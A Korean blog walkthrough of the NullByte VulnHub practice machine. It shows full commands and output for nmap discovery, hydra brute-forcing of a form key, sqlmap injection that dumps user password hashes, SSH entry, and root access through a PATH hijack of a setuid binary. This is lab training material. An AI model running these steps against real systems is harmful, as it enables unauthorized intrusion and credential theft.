https://www.vulnhub.com/entry/nullbyte-1,126/
Reconnaissance
Discovery
└─$ sudo nmap -sn 192.168.45.0/24
Nmap scan report for 192.168.45.37
Host is up (0.00033s latency).
MAC Address: 00:0C:29:1E:71:AB (VMware)
http-80 부터 직접 접속해봅니다
WEB
page source, robots.txt 특이사항 없습니다
gobuster를 이용한 디렉터리 브루트포싱 진행
phpmyadmin, 관리자 패널이 존재합니다
특이사항 및 기본 계정 정보 사용 유무 확인 -> 이상 없음
메인 페이지에 있는 이미지 파일 다운 후 exiftool 로 확인
└─$ exiftool main.gif
ExifTool Version Number : 12.76
File Name : main.gif
Directory : .
File Size : 17 kB
File Modification Date/Time : 2015:08:01 12:39:30-04:00
File Access Date/Time : 2024:07:24 04:13:06-04:00
File Inode Change Date/Time : 2024:07:24 04:13:06-04:00
File Permissions : -rw-rw-r--
File Type : GIF
File Type Extension : gif
MIME Type : image/gif
GIF Version : 89a
Image Width : 235
Image Height : 302
Has Color Map : No
Color Resolution Depth : 8
Bits Per Pixel : 1
Background Color : 0
Comment : P-): kzMb5nVYJw
Image Size : 235x302
Megapixels : 0.071
Comment 나이스 합니다
Vulnerability & Exploitation
페이지 소스를 확인해보니
mysql과 연결되어있지 않다...음
경로를 추가해 디렉터리 브루트포싱 한번 더 진행해봤는데 더이상의 디렉터리는 없었고,,,
key에다가 hydra 툴을 이용하여 비밀번호 브루트포싱 공격을 실시해봅니다
올바르지 않은 비밀번호를 입력할 시 invalid key 라는 문자가 출력됩니다
└─$ hydra -l ignore -P /usr/share/wordlists/rockyou.txt 192.168.45.37 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
key: elite
username을 치면 새로운 420search.php로 리다이렉션되는데 뭔가 데이터베이스와 연동이 되어있을 확률이 존재하니 http request를 프록시를 이용해서 복사해온 다음 sqlmap을 이용하여 데이터베이스에 접근해봅니다
└─$ sqlmap -r request.txt --dbs --batch
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] seth
성공했습니다 쭉쭉 진행해봅니다
└─$ sqlmap -r request.txt -D seth --tables --batch
[04:39:32] [INFO] fetching tables for database: 'seth'
Database: seth
[1 table]
+-------+
| users |
+-------+
└─$ sqlmap -r request.txt -D seth -T users --dump --batch
[04:40:28] [INFO] fetching entries for table 'users' in database 'seth'
Database: seth
Table: users
[2 entries]
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
ramses:omega
SSH로 대상 호스트 초기 침투 실시
ramses 유저 장악 완료, 대상호스트 초기 침투 완료
Post-Expoitation
ramses@NullByte:~$ cat .bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit
ramses@NullByte:~$ sudo -l
[sudo] password for ramses:
Sorry, user ramses may not run sudo on NullByte.
ramses@NullByte:~$ cd /var/www
ramses@NullByte:/var/www$ ls
backup html
ramses@NullByte:/var/www$ cd backup
ramses@NullByte:/var/www/backup$ ls
procwatch readme.txt
ramses@NullByte:/var/www/backup$ ls -al
total 20
drwxrwxrwx 2 root root 4096 Aug 2 2015 .
drwxr-xr-x 4 root root 4096 Aug 2 2015 ..
-rwsr-xr-x 1 root root 4932 Aug 2 2015 procwatch
-rw-r--r-- 1 root root 28 Aug 2 2015 readme.txt
ramses@NullByte:/var/www/backup$ cat readme.txt
I have to fix this mess...
ramses@NullByte:/var/www/backup$ file procwatch
procwatch: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17d666a0c940726b29feedde855535fb21cb160c, not stripped
ramses@NullByte:/var/www/backup$ ./procwatch
PID TTY TIME CMD
1598 pts/0 00:00:00 procwatch
1599 pts/0 00:00:00 sh
1600 pts/0 00:00:00 ps
ramses@NullByte:/var/www/backup$
procwatch라는 바이너리는 관리자 권한으로 실행 될 수 있도록 suid 설정이 되어있습니다
즉 관리자 권한으로 ps 명령어를 실행하는 바이너리 입니다
Privilege Escalation
ramses@NullByte:/var/www/backup$ which ps
/bin/ps
ramses@NullByte:/var/www/backup$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
ramses@NullByte:/var/www/backup$ ./procwatch
#
/bin/sh를 ps로 심볼릭 링크로 설정한 다음 현재 디렉터리에 대한 환경 변수 조작을 통해서 /var/www/backup에서 suid 설정된 procwatch 바이너리가 실행됨으로써 관리자 권한으로 /bin/sh가 실행되는 과정이다.
'Vulnhub' 카테고리의 다른 글
[Vulnhub] Bob Walkthrough (0) | 2024.07.25 |
---|---|
[Vulnhub] Breach: 2 Walkthrough (4) | 2024.07.23 |
[Vulnhub] Brearch Walkthrough (6) | 2024.07.22 |
[Vulnhub] Tommy Boy Walkthrough (4) | 2024.07.17 |
[Vulnhub] RickdiculouslyEasy Walkthrough (1) | 2024.07.16 |